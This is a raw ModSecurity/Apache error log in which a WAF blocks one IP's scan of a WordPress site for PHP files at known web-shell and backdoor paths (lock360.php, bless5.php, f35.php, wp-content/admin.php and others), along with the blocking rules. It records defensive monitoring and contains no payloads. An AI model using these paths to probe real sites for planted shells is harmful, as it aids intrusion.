[Fri Dec 26 01:36:34.974479 2025] [:error] [pid 24862:tid 24878] [client 4.194.153.244:2851] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU12Irt-eeEEuo-2JKg1_gAAAAw"]
[Fri Dec 26 01:36:35.212987 2025] [:error] [pid 24864:tid 24922] [client 4.194.153.244:2830] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aU12I8u59XOK5DpQQdCfbwAAAUI"]
[Fri Dec 26 01:36:35.579795 2025] [:error] [pid 24864:tid 24943] [client 4.194.153.244:2932] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aU12I8u59XOK5DpQQdCfcAAAAVc"]
[Fri Dec 26 01:36:35.889434 2025] [:error] [pid 24864:tid 24936] [client 4.194.153.244:2817] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aU12I8u59XOK5DpQQdCfcgAAAVA"]
[Fri Dec 26 01:36:36.240031 2025] [:error] [pid 24862:tid 24874] [client 4.194.153.244:2936] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aU12JLt-eeEEuo-2JKg1_wAAAAg"]
[Fri Dec 26 01:36:36.497337 2025] [:error] [pid 24864:tid 24928] [client 4.194.153.244:2908] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aU12JMu59XOK5DpQQdCfcwAAAUg"]
[Fri Dec 26 01:36:36.764593 2025] [:error] [pid 24864:tid 24932] [client 4.194.153.244:2627] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU12JMu59XOK5DpQQdCfeAAAAUw"]
[Fri Dec 26 01:36:37.031276 2025] [:error] [pid 24864:tid 24941] [client 4.194.153.244:2982] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU12Jcu59XOK5DpQQdCfegAAAVU"]
[Fri Dec 26 01:36:37.314430 2025] [:error] [pid 24946:tid 24958] [client 4.194.153.244:2940] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU12JVfyLYxv3Jn9S71QDQAAAEo"]
[Fri Dec 26 01:36:37.699636 2025] [:error] [pid 24864:tid 24930] [client 4.194.153.244:2919] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aU12Jcu59XOK5DpQQdCffgAAAUo"]
[Fri Dec 26 01:36:38.080282 2025] [:error] [pid 24862:tid 24870] [client 4.194.153.244:3023] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aU12Jrt-eeEEuo-2JKg2BQAAAAQ"]
[Fri Dec 26 01:36:38.333635 2025] [:error] [pid 24863:tid 24897] [client 4.194.153.244:2916] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aU12Jh8SaH2KMpp43vfyVwAAAMQ"]
[Fri Dec 26 01:36:38.614464 2025] [:error] [pid 24946:tid 24964] [client 4.194.153.244:2934] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aU12JlfyLYxv3Jn9S71QFQAAAFA"]
[Fri Dec 26 01:36:38.889200 2025] [:error] [pid 24862:tid 24885] [client 4.194.153.244:2636] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aU12Jrt-eeEEuo-2JKg2BwAAABM"]
[Fri Dec 26 01:36:39.141073 2025] [:error] [pid 24862:tid 24881] [client 4.194.153.244:3069] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aU12J7t-eeEEuo-2JKg2CgAAAA8"]
[Fri Dec 26 01:36:39.528428 2025] [:error] [pid 24946:tid 24952] [client 4.194.153.244:2986] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aU12J1fyLYxv3Jn9S71QHAAAAEQ"]
[Fri Dec 26 01:36:39.781275 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:2897] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aU12J1fyLYxv3Jn9S71QHwAAAEg"]
[Fri Dec 26 01:36:40.072536 2025] [:error] [pid 24863:tid 24900] [client 4.194.153.244:2977] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aU12KB8SaH2KMpp43vfyWwAAAMc"]
[Fri Dec 26 01:36:40.324716 2025] [:error] [pid 24862:tid 24871] [client 4.194.153.244:2931] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aU12KLt-eeEEuo-2JKg2EQAAAAU"]
[Fri Dec 26 01:36:40.594381 2025] [:error] [pid 24863:tid 24913] [client 4.194.153.244:2923] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aU12KB8SaH2KMpp43vfyXwAAANQ"]
[Fri Dec 26 01:36:40.880771 2025] [:error] [pid 24946:tid 24954] [client 4.194.153.244:2964] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aU12KFfyLYxv3Jn9S71QKAAAAEY"]
[Fri Dec 26 01:36:41.169205 2025] [:error] [pid 24863:tid 24904] [client 4.194.153.244:2967] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/log.php"] [unique_id "aU12KR8SaH2KMpp43vfyYwAAAMs"]
[Fri Dec 26 01:36:41.436791 2025] [:error] [pid 24863:tid 24894] [client 4.194.153.244:2884] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aU12KR8SaH2KMpp43vfyZgAAAME"]
[Fri Dec 26 01:36:41.748564 2025] [:error] [pid 24946:tid 24952] [client 4.194.153.244:2837] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aU12KVfyLYxv3Jn9S71QMAAAAEQ"]
[Fri Dec 26 01:36:42.030107 2025] [:error] [pid 24862:tid 24889] [client 4.194.153.244:2852] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aU12Krt-eeEEuo-2JKg2EwAAABc"]
[Fri Dec 26 01:36:42.421005 2025] [:error] [pid 24862:tid 24877] [client 4.194.153.244:2816] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aU12Krt-eeEEuo-2JKg2FAAAAAs"]
[Fri Dec 26 01:36:42.654298 2025] [:error] [pid 24863:tid 24897] [client 4.194.153.244:2861] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aU12Kh8SaH2KMpp43vfybQAAAMQ"]
[Fri Dec 26 01:36:43.066066 2025] [:error] [pid 24946:tid 24970] [client 4.194.153.244:2842] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aU12K1fyLYxv3Jn9S71QOAAAAFY"]
[Fri Dec 26 01:36:43.374079 2025] [:error] [pid 24864:tid 24929] [client 4.194.153.244:20672] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aU12K8u59XOK5DpQQdCfggAAAUk"]
[Fri Dec 26 01:36:43.655541 2025] [:error] [pid 24864:tid 24928] [client 4.194.153.244:2868] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aU12K8u59XOK5DpQQdCfhAAAAUg"]
[Fri Dec 26 01:36:43.981207 2025] [:error] [pid 24862:tid 24870] [client 4.194.153.244:3066] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aU12K7t-eeEEuo-2JKg2GQAAAAQ"]
[Fri Dec 26 01:36:44.202977 2025] [:error] [pid 24946:tid 24965] [client 4.194.153.244:2966] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aU12LFfyLYxv3Jn9S71QRQAAAFE"]
[Fri Dec 26 01:36:44.406868 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2628] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU12LFfyLYxv3Jn9S71QSQAAAEk"]
[Fri Dec 26 01:36:44.635632 2025] [:error] [pid 24863:tid 24898] [client 4.194.153.244:20666] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU12LB8SaH2KMpp43vfycwAAAMU"]
[Fri Dec 26 01:36:44.867738 2025] [:error] [pid 24864:tid 24932] [client 4.194.153.244:3004] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU12LMu59XOK5DpQQdCfhgAAAUw"]
[Fri Dec 26 01:36:45.111895 2025] [:error] [pid 24863:tid 24893] [client 4.194.153.244:2925] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aU12LR8SaH2KMpp43vfydAAAAMA"]
[Fri Dec 26 01:36:45.365241 2025] [:error] [pid 24864:tid 24924] [client 4.194.153.244:3002] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU12Lcu59XOK5DpQQdCfiQAAAUQ"]
[Fri Dec 26 01:36:45.581340 2025] [:error] [pid 24946:tid 24963] [client 4.194.153.244:2874] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU12LVfyLYxv3Jn9S71QUAAAAE8"]
[Fri Dec 26 01:36:45.948968 2025] [:error] [pid 24863:tid 24906] [client 4.194.153.244:2639] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU12LR8SaH2KMpp43vfydQAAAM0"]
[Fri Dec 26 01:36:46.177264 2025] [:error] [pid 24862:tid 24890] [client 4.194.153.244:2948] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "aU12Lrt-eeEEuo-2JKg2GgAAABg"]
[Fri Dec 26 01:36:46.388385 2025] [:error] [pid 24864:tid 24929] [client 4.194.153.244:2896] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU12Lsu59XOK5DpQQdCflgAAAUk"]
[Fri Dec 26 01:36:46.604683 2025] [:error] [pid 24862:tid 24867] [client 4.194.153.244:2997] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU12Lrt-eeEEuo-2JKg2GwAAAAE"]
[Fri Dec 26 01:36:46.840896 2025] [:error] [pid 24862:tid 24889] [client 4.194.153.244:2959] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU12Lrt-eeEEuo-2JKg2HgAAABc"]
[Fri Dec 26 01:36:47.156283 2025] [:error] [pid 24863:tid 24907] [client 4.194.153.244:2858] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aU12Lx8SaH2KMpp43vfyeAAAAM4"]
[Fri Dec 26 01:36:47.412238 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:20676] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU12L1fyLYxv3Jn9S71QWgAAAEg"]
[Fri Dec 26 01:36:47.740302 2025] [:error] [pid 24862:tid 24875] [client 4.194.153.244:2883] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU12L7t-eeEEuo-2JKg2IgAAAAk"]
[Fri Dec 26 01:36:47.998394 2025] [:error] [pid 24946:tid 24970] [client 4.194.153.244:2938] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU12L1fyLYxv3Jn9S71QXQAAAFY"]
[Fri Dec 26 01:36:48.292635 2025] [:error] [pid 24862:tid 24882] [client 4.194.153.244:2625] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aU12MLt-eeEEuo-2JKg2JAAAABA"]
[Fri Dec 26 01:36:48.554490 2025] [:error] [pid 24863:tid 24913] [client 4.194.153.244:2905] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU12MB8SaH2KMpp43vfyewAAANQ"]
[Fri Dec 26 01:36:48.824783 2025] [:error] [pid 24863:tid 24912] [client 4.194.153.244:2937] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU12MB8SaH2KMpp43vfyfwAAANM"]
[Fri Dec 26 01:36:49.143741 2025] [:error] [pid 24862:tid 24869] [client 4.194.153.244:2821] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU12Mbt-eeEEuo-2JKg2JwAAAAM"]
[Fri Dec 26 01:36:49.388697 2025] [:error] [pid 24863:tid 24893] [client 4.194.153.244:2979] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aU12MR8SaH2KMpp43vfygQAAAMA"]
[Fri Dec 26 01:36:49.635630 2025] [:error] [pid 24863:tid 24900] [client 4.194.153.244:2629] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU12MR8SaH2KMpp43vfyggAAAMc"]
[Fri Dec 26 01:36:49.919502 2025] [:error] [pid 24946:tid 24959] [client 4.194.153.244:2827] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU12MVfyLYxv3Jn9S71QZwAAAEs"]
[Fri Dec 26 01:36:50.204244 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2901] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aU12MlfyLYxv3Jn9S71QagAAAEk"]
